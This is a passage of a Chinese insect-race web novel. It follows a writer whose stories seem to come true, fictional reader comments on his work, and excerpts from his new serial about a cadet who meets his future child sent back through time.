往前翻发帖历史,还能看到雄虫发的一些生活记录,大多是今天吃了什么、食堂饭菜好难吃,还有一些星战类的游戏成就截图。 克莱尔倒是没发过贴,但能看到他的收藏夹,里面全是各种菜谱,备孕餐、雄虫营养餐、雄虫最爱的xx种菜式、炸厨房如何挽救。 安若:“……” 一切都做不了假,不是什么角色扮演,也不是什么同名同姓。 他写的小说好像……又成真了? 安若抱着被子坐在床上,神情恍惚。 对一个作者来说,笔下的角色、笔下的世界,在另一个时空里是真实存在的,这无疑是最高的赞誉。 但这种一般只是夸张性的描述和形容,只存在于想象中。 当这一切真实出现在自己面前……短暂的诧异和惊喜退去后,随着理智回归而升起的是一种近乎毛骨悚然的惊悚。 落笔成真。 还好他写的只是纯爱文,如果他写的是战争文呢? 一念生,一念死。 无数生命化成一句话,一个数字。 那样沉重的罪孽,足以将人压垮。 他以后还敢写文吗? 不,未必是他写的小说成真,说不定一切只是巧合。 安若试图说服自己。 席安已经二十多岁了,克莱尔的年纪只会更大,在他穿越到这个世界之前,在他动笔写这本小说之前,克莱尔和席安就已经存在,已经是长官和士兵。 而他只写了不到一个月的小说而已。 说服有些效果,但不多。 因为一切已经发生,他无法证明席安和克莱尔之前究竟是存在还是不存在,他无法拿结果去倒推成因。 薛定谔的席安和克莱尔。 安若抱着脑袋用力摇头,将那些混乱的思绪甩出脑海,坚定目视前方。 与其东想西想、自己吓自己,不如直接动手,做一个实验来验证。 他深吸一口气,打开文档。 已是深夜,囚室的灯早已熄了,只有外边的走廊上一如既往地亮着灯。 安若披着被子坐在床上,面对着空白文档反射的亮光,踟躇不定。 真的要写吗? 该写什么呢? ——尤利西斯决定赦免我。 ——并送给我一座空中堡垒、一颗资源星球、一支军队护卫…… ——我将成为联邦总统! ——有这个职位吗?不管了,我当总统吃喝玩乐,尤利西斯管军务,卡西安管政务,小白化长命百……啊不,长命千岁! ——乌列尔十分钟后会来给我送宵夜。 ——食物包含草莓蛋挞,清甜蔬果汁,香喷喷烤肉,还有麻辣小龙虾! 前面那些的影响太大了,想想很爽,但不敢写。 而且他其实挺喜欢监狱的,并没有那么想出去。 至于后者……大晚上的这么麻烦乌列尔好像也不太好。 安若犹豫良久,最后只写下: 【小白化艾拉健健康康,长命千岁。】 【机械虫五分钟后会给我送宵夜。】 关于小白化的健康和寿命只是一个美好的祝愿,成不成真无从得知。 真正用作实验的是五分钟后的机械虫。 安若盯着光屏右下角的时间开始等待。 一分钟……外边毫无动静。 两分钟,三分钟…… 安若退出去刷了会星网,不时瞥一眼右下角的时间。 四分钟,五分钟…… 门口空空如也。 安若长舒一口气,还是决定再等会,可直到等到十分钟,也什么都没发生。 果然!落笔成真什么的根本不可能存在嘛! 安若身体后仰躺回床上,卷起被子,将脸埋住,无声笑了笑,感觉自己刚刚的行为像个傻子。 终于可以放宽心去刷星网了。 抛下所有负担,他现在的想法就跟大部分虫族一样。 ——我磕的CP成真了耶。 面对席安和克莱尔,他的心情还是格外复杂一些。 但不管怎么样,这都是一种很新奇的体验。 真切地看到了自己的主角出现在了自己面前,哪怕只是在社交媒体上。 席安的帖子点赞,克莱尔的评论点赞,祝福的评论点赞,不敢置信的评论点赞,崩溃的评论也点赞。 安若化身无情的点赞机器。 忽地,一条金色的消息以通知的方式出现在了他的光屏上方,存在感极强。 安若恍惚间看到了熟悉的名字,微怔后点了进去。 【尤利西斯】:AN99901******* 【尤利西斯】:给你申请的临时账户,密码是31+你的精神阈值。 31+精神阈值。 安若顿时反应过来对方说的是什么,身体微僵。 他都这么小心了,用的是标准的无规则数字,还去掉了前缀,为什么会有虫注意这种东西? 安若在被子里抓狂。 心想,哪天尤利西斯元帅干不下去了,还可以去干侦探。 尤利西斯今天来见他、包括现在给他发这些消息的意思是: ——我知道你不是那只雄虫。 ——我知道你的等级检测是假的。 ——星币还你。 过了会,对方又发了条消息。 【尤利西斯】:有什么需要,跟我说。 ——除了出去,什么都好说。 ——出狱没门。 安若:“……” 累了,毁灭吧。 等不及原文主角出场了,现在就把大反派写死! 安若打开文档,虽然觉得根本不可能实现,但还是发泄般地写道: 【尤利西斯走路平地摔。】 …… 乌列尔深夜起床处理黑客攻击事件。 守卫的军雌告诉他,厨房的机器虫突然自己动了,疑似是被黑客入侵数据库后控制,他们紧急启动数据安全防御模式,并切断了机器虫的电源,才让机器虫停下来。 什么黑客敢入侵军区的数据库,不要命了吗? 这种行为相当于叛国。 乌列尔沉着脸,带着安全员一顿排查。 折腾了半晚,最后却得出答案:没有黑客入侵痕迹。 怎么可能? 机器虫在设定之外的行动就是实实在在的证据。 查不到痕迹,要么对方的科技和手段远超他们——这同样不可能,虫族有着宇宙顶尖的科技水平,军方更是有着最尖端的技术。 36 雄子校草x军校生1 [安神,看看你嗷嗷待哺的读者吧!(大哭)] [整整半个月过去了,还不开新书吗?生产线上的机器都不带这么歇的!] [好多大佬想找安神写定制文,结果根本找不到虫,书一完结就消失了,太神秘了。] [据说安神的IP在第一军区,应该是军雌吧,不能随意发言,失联可能是出任务去了。] 关于安的性别和身份一直是个迷。 虽然雄虫们都觉得安是雄性,但大多数虫还是认为安是雌性。 军雌或者亚雌军医。 他那始终在第一军区的IP地址就说明了一切。 [什么都好,出任务也能等,只要别是去结婚了(祈祷)。] [赞同,之前也不是没有过有灵气的作者,婚后写出来的东西就完全变了样,被生活抹平了棱角。] [安神就是吃天赋吃灵感的作者,千万不要想不开去结婚(拜托)。精神问题也不用担心,我们众筹给你做精神梳理。] [用不着众筹,安神的雄虫粉丝比例是所有作者里最高的。] [也是,开个见面会,单凭在场雄虫粉丝活跃的精神力,就能把所有精神问题治好。] 这边还在猜测安的去向,祈祷他别想不开结婚。 另一边早已有虫行动起来,四处搜寻安的所在。 军区这个地址拦住了太多想要窥探的虫。 但有些东西完全可以绕开军区。 在星际时代,一只虫想生活、购物、娱乐,就不可能不在星网上留下痕迹。 这样找虽然麻烦了些,但虫多力量大,不是没有找到的可能。 [报!前几天在游戏里遇到了个跟安神默认id一样的号,不知道是不是他,我直接叫上朋友围堵,把他杀下线了!] [哇啊,这很坏了。] [这怎么能叫坏?这叫帮安神戒网瘾,让他专注创作(帅气扶墨镜)。] [没错!帮安神戒网瘾,虫虫有责,加我一个!] [可以,星战A区,1000分-1500分之间,时间一般是中午到晚上,上午不在。他那个默认id的号技术一般,但跟他一起组队的是个大神,至少有A级实力,反应速度和操作都是顶级的,这个得注意。] [安神技术这么菜的吗?所以安神其实是军医,不是军雌吧?] [嘿谁知道呢,咱们只负责帮所有疑似安神的号戒网瘾就行了。] 在这帮雌虫轮流蹲守,等默认那个ID号上线之际,前方传来消息——安神开文了。 …… 【下课回宿舍,房间里多了只幼崽,抱着我的腿喊雌父,还说他来自十年后,雄父是隔壁学院的雄子校草。】 [惊喜!] [看我刷到了什么?新鲜开文的新书!] 只展示出了一个文案简介,正文还没发布,但这不影响雌虫们的激动。 [这次居然是校园故事吗?期待期待!] [这简介什么意思?什么叫幼崽来自十年后???] [虫族有尖端的空间技术,但时间一直是无法攻克的难题。] [据说顶级雄虫能靠精神力穿越时空,但那只是传说记载罢了,根本没有真实案例。] 雌虫们一如既往地对真实信表示质疑。 [安神这是决定写科幻文了吗?] [他的文什么时候不科幻过?] [也不是,虽然内容看起来科幻,但席安阁下和克莱尔可是在一起了!硬要说的话,这才是真·现实文学。] [别提了,我是真没想到,我磕的最科幻的CP反而是最先成真的。] 有了上本书的经验,读者们也知道安的书不能只看表面,也就没揪着这点不放。 [重点是穿越时空吗?开局就有幼崽啊!!!而且雄父是隔壁学院的雄子校草!我做梦都不敢梦这么大的!!!] [安神写梦文是有一手的,如果不是我知道这是安神写的,真会以为是哪个雌虫磕信息素磕嗨了,在这做白日梦。] 虫族也有爽文,但都是事业线升级流爽文。 像这种开局送幼崽、还能解锁未来雄主设定的感情类爽文,他们哪见过? 单单是看着文案简介就要爽嗨了。 但也有更理智些的选择泼冷水: [别高兴得太早,一个还在学校的雄虫阁下,可不一定会认这个未来的幼崽。] [雄虫从来都不缺给他们生幼崽的雌虫,对幼崽也没有雌虫那么看重。] [这个咱们都知道,但不妨碍做梦嘛。] [如果是现实,我认同你们说的,但这是安神的书。] [嗐,有幼崽就够了,多少雌虫一辈子都得不到一个幼崽,看开点。] 读者们一边讨论,一边不断点刷新,还真让他们把正文刷出来了。 …… 【今天是隔壁学院的雄虫开学的日子,空气中似乎都飘散着浅淡的雄虫信息素,连带着整个军校的学生都心旌摇曳。 不少雌虫已经讨论起了下训后去某某街上偶遇雄虫。 哪怕这要用上珍贵的外出机会。 伊索专注组装武器,并未参与这些讨论。 雄虫并不在他的虫生规划之内,至少不在近二十年的规划之内。 ……】 看到这里的读者默默退出去看了眼文案。 [《不在近二十年的规划之内》《来自十年后的幼崽》] [6,打脸来得最快的一次,能不能嘴硬得再久一点?] [对普通雌虫来说,不奋斗个几十年就想嫁雄虫简直是痴虫说梦,他的虫生规划没什么问题,但文案已经剧透了。] [完啦,我现在已经开始好奇他是怎么在十年内就找到雄虫并生了崽的。] …… 【结束完训练,伊索拒绝了室友的外出邀请,独自去食堂打饭。 今天在食堂用餐的虫数骤减,他得以很顺利地打包一份营养餐回宿舍。 刚一推开宿舍门,伊索就敏锐察觉到不对。 他桌上的东西被翻过,椅子的位置也改变了,他叠得整整齐齐的被子如今皱巴巴地堆在床上。 伊索额角青筋直跳。 这要是被纠察队看到,他至少得吃一个通报批评。 好吧,让他会一会这个把他东西弄得一团糟的不速之客。 伊索放下餐盒,径直朝浴室走去。 在门口停住脚步,沉着脸敲了两下门。 里面的入侵者似乎被吓了一跳,传来打滑跌倒的声音,还有一声幼崽式的叫声。 伊索疑惑凝眉,推门走进去。 与地上满身泡沫的黑发小幼崽对上视线。 小幼崽一见他,就委屈地哭了起来。 “嘤,雌父,唧……” “我想洗澡,但开关太高了,要踮起脚才能够到。” “地好滑……” 伊索的大脑完全空白。 可看到那小幼崽一直坐在地上嗷嗷干哭,他还是走过去,把小幼崽抱起来。 他打开水,调试水温,为小幼崽洗干净身上的泡沫,再把他仔仔细细擦干,用浴巾裹起来,抱出浴室。 “雌父,我好饿。” 洗得香香的小幼崽抱着他的脖子撒娇。 伊索把他放到自己的椅子上,打开带回来的营养餐,放到他面前。 小幼崽还被浴巾裹成一团,低头看了看身上,觉得不太合适。 抬头看一向靠谱的雌父,却见他一副大脑放空呆掉了的样子,根本指望不上。 他又实在饿坏了,只能自力更生,从浴巾里伸出一只手来,拿起餐叉吃饭。 当幼崽像个毛绒小动物一样进食时,伊索在悄悄观察着他。 虫族有血脉感应。 他很确定面前的幼崽与他有着很深的血脉联结。 这样深的感应,就算不是他亲生的幼崽,也是他双胞胎兄弟的幼崽。 但伊索没有双胞胎兄弟。 他甚至连一个亲虫都没有。 他出生在混乱的地下城区,还是个蛋时就被遗弃。 在那种地方,养育一个幼崽是困难的,被遗弃的虫蛋或幼崽比比皆是。 而虫族与生俱来的传承记忆,让他一破壳就清楚了自己孤儿的身份。 他没有亲虫,没有手足兄弟,也没有跟雄虫有过接触。 可他现在有了个幼崽。 任他想破脑袋也想不明白,这个幼崽是怎么来的。 “雌父,我吃饱了。” 黑发幼崽看着餐盒里剩下的食物,不好意思道:“太多了,吃不下。” 这是成年雌虫的营养餐,对幼崽来说太多了。 “放那吧。” 伊索扫了眼,还剩下大半。肉类吃的比较多,蔬果几乎没动。 这是个挑食的幼崽。 “雌父,衣服……” 小幼崽扯着身上的浴巾,求助地看向他。 这真把伊索难倒了。 他的衣服太大,小幼崽肯定穿不了。 他只能让幼崽先裹着浴巾待在宿舍,自己去把对方换下的衣服洗了,放进洗衣房的烘干机里。 当他带着烘干的衣服回来时,幼崽已经爬到了他床上,整只虫钻进被子里。 他从呼吸声能确定对方没有睡着。 伊索走过去,正想将幼崽叫出来。 幼崽忽地撑起被子,朝他可爱龇牙咆哮: “嗷呜~我是宇宙凶兽!” 不知道该不该表演被吓到的伊索:“……” 最终先把幼崽抱下来,穿上衣服。 这么一通折腾下来,幼崽也累了,靠在他怀里打哈欠。 但还是强撑着不肯睡,揉着眼睛问他: “雌父,你今天怎么冷冰冰的?都不理我,一点也不好玩。” 伊索一手抱着幼崽,一手铺床,闻言看了他一眼,问: “我以前是怎样的?” 幼崽认真思考了会,带着些回忆道: “也冷冷的,酷帅风格,但气场更柔和一些,偶尔也会笑,会陪我和雄父一起玩。” 伊索这次沉默得更久了些。 “你……叫什么?你雄父是谁?” 原本困得眼皮打架的幼崽立刻清醒,几乎从伊索怀里弹跳起来,瞪大眼睛不可置信地看着他。 “雌父!你不记得我了吗?也不记得雄父了吗?天啊噜!我雌父失忆了!” 小幼崽惊恐捧脸。 如果不是伊索的记忆很连贯,他也会怀疑自己失去过一段记忆,并在那期间跟一位雄虫阁下有了幼崽。 37 雄子校草x军校生2 【“我叫伊西多尔,今年三岁半,我雌父是伊索,我雄父是希尔……我有两个家,一个在天上,一个在地下……” 小幼崽掰着手指,认真向自己“失忆”的雌父讲述。 伊索听得出神。 伊西多尔……神明的礼物。 怎样的雄虫会给一只雌虫幼崽取这样的名字? “等等,伊西,你说你雌父叫什么?” 伊索打断他。 伊西多尔担忧又着急地看着面前脑子坏了的雌父。 “叫伊索!伊索!雌父,你怎么连自己的名字都忘了?” 世界上会有第二个伊索吗? 且恰好是与他血缘如此近的幼崽的雌父。 这个可能性有多大? 伊索终于意识到了不对。 “你是哪一年出生的?” “7039年!” 聪明幼崽伊西即答。 七年后。 ……】 [咦?这个时间?现在是星历7052年啊。] [小幼崽三岁半,他是7042年穿越的,十年前。伊索他们所在的时间则是7032年,二十年前。] [也就是说,这本书对我们来说其实是:十年前的幼崽穿越到了二十年前。] [安神是故意这么设定的吗?明明时间越靠近现在越好写啊。] [如果按现在的时间线算,小伊西今年都该上中学了吧?] [哈哈哈,刚好从幼崽小学毕业,升入中学。] …… 【这是一只来自十年后的幼崽。 他要七年后才会破壳出生。 可他正站在他的面前,抱着他的腿叫雌父。 伊索被这过大的信息量冲击得回不过神。 幼崽说他家住在地下,这个地下应该是指的地下城区。 听起来是他几年后跟一位同样来自地下城区的雄虫结婚了,并孕育了一个幼崽。 这也是唯一的可能,其他的雄虫阁下绝对不会考虑住进地下城区那种地方。 不过……还有一个家在天上是什么意思? 伊索困惑着,回想起幼崽刚刚提到的那个雄虫名字,有些耳熟。 希尔…… 好像在哪里听过。 就在不久前,今天,很多军校生口中都说起过这个名字。 伊索打开终端搜索。 刚把“希尔”这个名字输入进去,就跳出一连串关联词条。 『雄虫』『校草』『新生入学』『绝美雄虫新生』『雄虫校草名字-希尔』…… 《今年的雄虫校草在入学第一天就已经确定了,最没有悬念的一届,不用我说大家也知道是谁了。谁要到了希尔阁下的联系方式?求分享!》 发帖时间10分钟前。 配图是一张新生入学照。 虫来虫往的校门前,在一众色彩斑斓的服装和发色中,雄虫只穿着简单的白衣黑裤,肤如白瓷,发若鸦羽,神清骨秀,轻而易举地吸引了所有目光。 雄虫独自迈步往前,周围所有虫、无论雌虫雄虫,都在回头看他,他美得格外瞩目。 小幼崽眼尖看到了他光屏上的内容,立刻拽着他的衣服,指着照片上的雄虫道: “雄父!是雄父!” 伊索眼中闪过诧异,顺手把旁边的小幼崽捞起来,放到腿上,带他一起坐着,再去看光屏上的雄虫。 他原以为,能养出这样一位活泼开朗的小幼崽的雄虫,性格必然也是活泼可爱的,但这位阁下看起来跟他想的不太一样。 他矜贵清冷,透着疏离,与虫群之间隔着看不见的屏障。 像是星幕垂落于荒野,浩渺,孤寂…… 伊索垂眸,摩挲着手指,打消那些念头。 他能看出雄虫阁下身上看似简单的衣物皆非凡品。 这是一只出身高贵的高等级雄虫,他不会孤独,也不该孤独。 他身边注定围绕着许许多多的雌虫,他们会为他奋不顾身,渴望为他生育幼崽。 伊索看向怀里的黑发小雌崽。 他想岔了。 幼崽的雄父不是什么地下城区的雄虫。 而是一位身份高贵的阁下。 事情反而变得难办起来。 那样的阁下不缺为他生育幼崽的雌虫,也不会缺幼崽,而且……太过年轻。 不管从哪一条来看,都不会接受一只凭空冒出来的幼崽。 怀里的小幼崽还在抱着他的手臂摇晃撒娇,语气兴奋而期待。 “雌父,雌父,我们去找雄父吧!” 真相说出来或许会打击到幼崽。 “你……你雄父在上学,不能打扰他。” 伊索说着都觉得难以启齿。 一个还在学校的雄虫阁下,跟幼崽一词,显然丝毫不搭调。 “雄父也要上学吗?” 伊西多尔困惑。 他记忆里的雄父有时会受邀去学校,给学生讲课。 这是同一件事吗? 小幼崽迷糊。 “那我们什么时候能去见雄父?要等到雄父下课去接他吗?” 伊西多尔睁着闪亮的双眼问。 已经期待起了跟雌父开着飞行器,去校门口接下课的雄父。 “……” 伊索意识到自己不能对幼崽隐瞒下去。 他需要跟幼崽说清楚现在的情况。 “伊西,有一件很重要的事情我需要告诉你。” 他让幼崽面对着自己,看着幼崽的眼睛跟他细细讲述。 “现在是7032年,是你所在时空的十年前。我和……你雄父还没在一起,我们根本不认识,也还没有孕育你……你能听懂我的意思吗?” 伊西多尔呆掉了。 虫族幼崽的传承记忆,让他们在蛋里就能获得很多基础知识,一破壳就对世界有了初步的认知。 虽然心智还是个小幼崽,但已经能懂很多事情了。 天啊撸,雄父和雌父不认识!他还没出生! 雄父也不认识他!!! 这是多么绝望的事情。 伊西多尔从没想过有一天雄父会不认识自己。 明明从他来到这个世界的那一刻起,雄父就认识他了。 “可是,可是,我是你们的崽崽啊,雄父怎么会不认识我?雄父肯定认识我!雄父看到我就会认出我来!” 对,就是这样。 雄父只是不认识雌父而已,是认识他的。 伊西多尔心中笃定。 有血脉感应在,伊索还真没法反驳。 只要伊西多尔出现在希尔阁下面前。 阁下自然就会认出这是他的幼崽。 而且……他们其实长得很像。 一样的鸦黑发色,皮肤莹白如玉,小幼崽的五官也很像萌化版的希尔阁下。 眼睛却继承了他的金瞳。 这种自己与另一只素不相识的雄虫阁下的相似处在一只幼崽身上融合的感觉,让伊索觉得很奇妙。 并不讨厌。 因为雌父对幼崽天然的喜爱,也因为幼崽长得实在好看,精致漂亮,在雌父滤镜下尤为可爱。 有那位高等雄虫阁下的基因,当然会很好看。 但伊索不能这样贸然地把幼崽带到雄虫面前。 那会把雄虫吓坏。 对一个还在上学的雄虫来说,接受自己有个幼崽是很困难的。 雄虫并没有雌虫那么喜欢幼崽。 大多数雄虫都会觉得幼崽很麻烦,对还在上学的雄虫来说尤其如此。 这个年纪的雄虫,自己还是个“幼崽”呢。 雄虫惊吓之下脱口而出的话,或许会伤到伊西。 伊索选择跟幼崽说清楚。 他没有养育过幼崽,不知道寻常幼崽都是怎样的,他把伊西当一个独立且平等的个体来对话。 伊西多尔也听得懂雌父所说的。 虽然他不明白他为什么会给雄父带去惊吓,他对雄父来说不应该是惊喜吗? 但对雌父的亲近和信任,还是让他选择听从雌父的安排。 这么一通折腾下来,小幼崽还是在困意下睡着了,只是明显睡得不太安稳。 伊索守在他的身边,不时摸摸他的头,给他拍拍背,属于雌父的气息笼罩着他,这才让他渐渐放松下来,进入更深的睡眠。 伊索没有照顾过幼崽,所有内容都是现搜现学的。 好在还算有效。 看着在床上熟睡的可爱幼崽,他的心也一点点软化。 雌虫就没有不喜欢幼崽的。 像伊索这样没有血脉亲虫的雌虫,对幼崽更是尤为珍视。 过了好一会,伊索才勉强把自己从父爱泛滥的情绪中拉回来,开始思考现实问题。 幼崽肯定不能住宿舍。 这是军事化管理的学校,一切纪律形同部队,不可能允许他在宿舍里养只幼崽。 他也没法跟其他虫解释幼崽的由来。 伊索打开终端,跟教导员申请走读。 按理来说是不允许走读的,但伊索情况特殊,他来自地下城区,终归跟其他军校生不一样…… 教导员不知考虑了什么,最终同意了伊索的申请。 还跟他提了一嘴奖学金和补助的事。 伊索每年都拿全额奖学金。 他知道,教导员这么专门提起,是怕他生活遇到困难,想帮他。 对此,他心中感激。 军校免学费,还有津贴补助和奖学金,按理来说是不会有什么困难的。但伊索喜欢自己改装机甲,这烧起来就是个无底洞。 38 雄子校草x军校生3 [天啊,小幼崽居然有基因病吗?太可怜了。] [可怜小伊西。] 虫族生育率低,幼崽珍贵,雌虫们都很喜欢幼崽,哪怕是看到陌生幼崽生病也会觉得心疼。 [作为一个养大了十只幼崽的雌虫,我必须说一句:小幼崽刚刚喊疼的样子纯属表演,没有一点真实。 但说精神梳理数量的时候反应是真的…… 这个次数实在是多得不正常,哪怕是有基因方面精神疾病的幼崽,雄虫都很少会为其进行这么频繁的梳理……但愿小幼崽能没事吧。] [许愿,愿小幼崽健健康康(灌溉营养液x20)] [如果需要帮助可以联系我,我认识首都星医院的专家(打赏宇宙飞船x1)] [温馨提示:这是小说,并没有真正的幼崽遭遇基因疾病,大家可以不用担心。] [只有我注意到前面那位养大了十只幼崽吗?这是天堂吗?居然有这么多幼崽可以吸!] [有个大家庭就是这样的,自己的幼崽,其他雌侍的幼崽,每百年里总有几只幼崽降生,不定时就能吸到全新的幼崽。] [这得家庭关系好才行,我家那几个宅斗文爱好者,把小崽子看得可紧了。每天吃个饭都得为座次斗上一番,雄主带谁参加宴会、晚上去谁那,更是斗个没完。] [这是有很多家产要继承吧?也很真实了。电视剧里都是这么演的,现实只会更精彩。] [小伊西家里也是这样的大家庭吗?] [应该是吧,那样的雄虫阁下,一看就会有很多雌虫。只不过时间还短,应该只有小伊西一个幼崽,这才对幼崽很宠爱。] [有这样的基因疾病,等以后家里幼崽多了,小伊西的日子会很难过的。] [心疼。] [还好穿越到过去了,没有别的幼崽竞争,还能得到几年的精神梳理,如果雄虫阁下愿意的话……] …… 【雄虫宿舍是三虫间,有各自的独立卧室,公共空间共用。 校方认为这既能让雄虫交朋友不会感到孤单,又能给雄虫们独立的空间,觉得自己的安排可机智了。 但实际上,这处于既不亲近、又没法彻底生疏的尴尬界限。 尤其虫族等级分明,低等级服从高等级,这是虫族的生存法则。 雄虫习惯以自我为中心,雄虫之间的等级差不像雌虫那么明显,但也存在着。 希尔是这一届学生中等级最高的雄虫。 所有雄虫都隐隐以他为核心。 这就导致他的室友回个卧室都要专门来跟他汇报一声,小心征求他的同意。 希尔:“……” 他知道自己坐在这里讨虫嫌了,让彼此都不自在。说了句让他们自便,就起身回房。 推开卧室房门时,他听到了身后两只雄虫松了口气的声音。 两只雄虫也没什么坏心思,希尔的等级太高了,周围逸散的精神丝线给虫很强的压迫感,让虫难以亲近。 不同等级的雄虫之间就是很难交朋友。 关上门,希尔独自待在卧室里,百无聊赖地翻看终端。 这是他第一次离家这么远,但并不想家,反而有种终于逃出来了的感觉。 室友之间再难相处,也比家里好。 不会走着走着路,踩到一个跪在地上的虫;不会到处弥漫着雌虫和雄虫的信息素;也不会撞见雌侍披着雌父的衣服从雄父屋里出来,与他尴尬四目相对;更不会看到雌父跟雌侍抱在一起…… ……】 读者们看到雄虫想逃离家,还正疑惑着,随即就看到了后边的内容,顿时指责起来。 [这家的雌虫就是太不规矩了!要跪去角落里跪,怎么跪到雄子面前去了?多碍眼,还挡了雄子的路。] 翻墙看文的天伽:[……6] [前面什么东西?叉出去。] [有雄子的家庭还是得多安装信息素净化器,雄子不喜欢的味道要赶紧清除。] [雌侍披着雌君的衣服从雄主房里出来,这也太不合适了,就算自己的衣服没了也不能穿雌君的啊!] [还有抱一起是怎么回事?都说了雌虫之间少煽情,搂搂抱抱的多辣眼睛。] [可是雌君真的好好啊(大哭),我生蛋的时候就是雌君陪在我身边,当初战场上受伤,也是长官守着我。能跟长官成为家虫,是我这辈子最幸福的事了!那种心情你们能理解吗?(猛雌爆哭)] [理解理解,冷静,冷静,别激动。] [虫之常情。] [嗐,很正常,像我们天伽,都是相熟的战友兄弟一起凑钱娶个雄性回来,谁生的蛋都彼此帮忙照顾着。] [前面又是什么东西?(星舰老虫看光屏)管理员呢?赶快来处理!怎么现在上网遇到这玩意的频率越来越高了?] …… 【终端上收到了很多条陌生的好友申请。 希尔不确定是否要通过。 以他之前被骚扰的经历来看,不理睬才是最好的应对方法。 一旦同意,之后就是源源不断的麻烦。 正要退出,一条新的申请刷了出来。 [希尔阁下,很冒昧地打扰您,我是隔壁军校的伊索,我的幼崽患有基因病,能否祈求您为他做一次精神梳理?] 有基因疾病为什么找他? 不应该去找幼崽的雄父吗? 而且隔壁军校……伊索? 这个名字他是听过的。 特别出色的同龄虫就那么一些,彼此都有耳闻。 一位来自地下城区却有着S级潜力的雌虫,让联邦军校的校长亲自去地下城区堵虫,硬是特招进军校,这经历也是很传奇了。 他还曾在另一个地方见过这个名字。 在家族为他提供的引导者备选名单里。 希尔不知该不该庆幸自己没有要什么引导者。 不然一定会引发特别抓马的后续。 年轻的S级潜力者……居然有一个幼崽? 希尔的脑子里浮现了一系列“未婚先孕”“始乱终弃”的大戏。 但还是通过了对方的申请。 他不知道幼崽的雄父为什么不能给幼崽做精神梳理,这种事总有着各种各样的隐情,难以诉诸于口,且大多都带有着悲剧色彩。 没必要过于深究,给彼此都留一分体面。 以高等雌虫骄傲的性子,能找上他,大概也已经是走投无路。 希尔想了很多。 但加上好友后,对方立刻给他发来一份基因检测报告。 是想证明基因病的真实性吗? 虽然已经相信了对方所说,但希尔还是点进去看了眼。 姓名:伊西多尔 性别:雌 等级:A 年龄:3.5岁 …… 是一个天赋很高的幼崽。 至于剩下那些数据庞大的基因组序列……希尔不是医生,看不懂。 只是在瞥过某些基因组时,意外觉得很眼熟。 带着某种猜测,希尔试着把幼崽的基因数据和他自己的基因数据放一起测算…… 『基因信息……符合遗传规律……亲权概率99.99%……符合亲生关系。』 希尔瞬间裂开。 他之前想过最抓马的可能,是这个孩子是他雄父或者家族里某位雄性长辈在外的私生子。 结果告诉他是他的幼崽??? 对方还在给他发消息。 伊索:[他是您的幼崽,您可以用基因数据测算验证。] 希尔:[……已经验证过了。] 希尔:[我不管你这份数据是从哪里来的,我希望你知道,我今年19岁,刚经历完生理觉醒,不可能有这么大的幼崽。] 希尔想说,他连雌虫的手都没牵过,根本不可能有什么幼崽。 伊索:[我知道这很难以置信,能否给我一个当面跟您解释的机会?有些内容不方便在终端上说。幼崽的情况很危急……] 不方便在终端上说? 基因窃取还是邪恶实验? 希尔心中警惕,可看到最后一句话,终究是生了恻隐之心。 希尔:[定位。] 对方立刻将一个位置发了过来。 就在他学校旁边的一个酒店。 这显然是一个陷阱。 雌虫把雄虫约到酒店,等进了房间,雄虫再想走就由不得自己了。 但希尔还是来了。 他没做任何遮掩,来得相当高调。 如果雌虫敢对他动手,得想好后果。 伊索提前在酒店门口等他。 他做了些遮掩,戴上了帽子和口罩,没穿军校的校服,但那身黑色紧身衣勾勒出好看的肌肉线条,导致回头率更高。 雌虫只能把帽子又往下压了压,但很快又抬头,焦虑地看向前方,寻找着什么。 他很快看到了从虫群中走来的黑发雄虫,连忙迎上前。 所有虫之中,雄虫漂亮得格外瞩目,当一个遮着脸的高大雌虫走到他身侧,低头跟他说着什么时,更是尤为吸引视线。 “希尔阁下……您愿意来真是太感谢了,幼崽在楼上房间,您能跟我上去吗?” 伊索压低了声音,黑帽下的那双金色眼睛焦急得近乎祈求。 雌虫这副遮遮掩掩的打扮,更像是不怀好意。 但希尔对上那双眼睛,还是跟他走进了酒店。 他注意到了周围虫的惊叹目光和小声议论。 雄虫和雌虫开房是很正常的事情。 虽然还是学生,但都已经成年,周围虫也大多只是羡慕,和对雌虫身份的猜测与好奇。 有那么一瞬,希尔脑海中闪过一个猜测。 雌虫不会是为了跟他炒绯闻吧? 再看旁边捂得严严实实的雌虫。 这副打扮也不像啊。 所有猜测停止在房门打开的那一刻。 黑发幼崽像一颗小炮弹似地扑向他。 本应该躲开的希尔,在感受到了奇异的血脉联系时呆住了,被幼崽扑进了…… 在幼崽即将扑进他怀里时,一只手从旁边伸过来,拎住了幼崽,打断他的“袭击”。 伊索心惊胆战地看着雄虫,把手里的幼崽挪到身后,俯身跟雄虫道歉。 “对不起阁下,我没管教好幼崽,他看到您太激动了。” 伊西多尔从雌父身后探出个头,不明白雌父是在做什么,他要雄父抱! 他好久没见到雄父了,整整八天了!他从来没跟雄父分开这么久过! “雄父,雄父……” 到达陌生时空,见不到雄父,雌父也经常不在家,所有积攒的恐惧和委屈在这一刻爆发出来。 伊西多尔嘴一扁,眼泪就吧嗒吧嗒往下掉。 并没有真正当雌父经验的伊索手足无措。 忙把幼崽抱进怀里,拍打他的背,却不知具体该怎么哄。 39 雄子校草x军校生4 【“是,伊西,他叫伊西多尔。” 伊索期盼地看着雄虫,希望这个名字所代表的含义能唤起些许雄虫对幼崽的在意。 希尔抬眸看了雌虫一眼。 用不着雌虫说出全名,他也分辨出取名者在幼崽身上投注的爱意。 或许不只有幼崽…… 希尔的视线在黑发雌虫身上停留片刻,收起纷乱的心绪,沉声问: “这到底是怎么回事?他是怎么来的?” 他仍带着警惕。 这个幼崽的出现和存在都太过古怪了。 一个名字并不能代表什么。 伊索张口欲言,想起自己还戴着口罩和帽子,连忙将其取下,面对着雄虫,认真解释: “他来自十年后,是我和您的幼崽。” 希尔:“……” 隔壁军校的冷面酷哥对你说,你们有一个孩子。 简直荒谬。 穿越时空这种事情,并不在虫族的科技点范围内。 据说某些有特殊天赋的强大雄虫能凭借精神力做到这一点。 但那至少得是S级。 虫族多久没有过S级雄虫了? 这个说法没有任何可信度。 可希尔又有那么一瞬间觉得他说的是真的。 他居然在尝试去相信这个荒谬的可能。 “我凭什么相信你说的?证据呢?” 希尔没好气道。 伊索眼里闪过茫然。 对他来说,伊西多尔的存在本身就是证据。 但雄虫似乎不这么认为。 如果幼崽和双亲间的血脉感应都无法作为证据,他又该如何去向雄虫证明? 伊西多尔悄悄拉了拉雄父的袖子,在雄父低头看来时,骄傲道: “我有跟雄父的照片哦!” 伊索也看了过去。 两只成年虫一起看着幼崽炫耀式地打开手腕的幼虫终端,给他们展示照片。 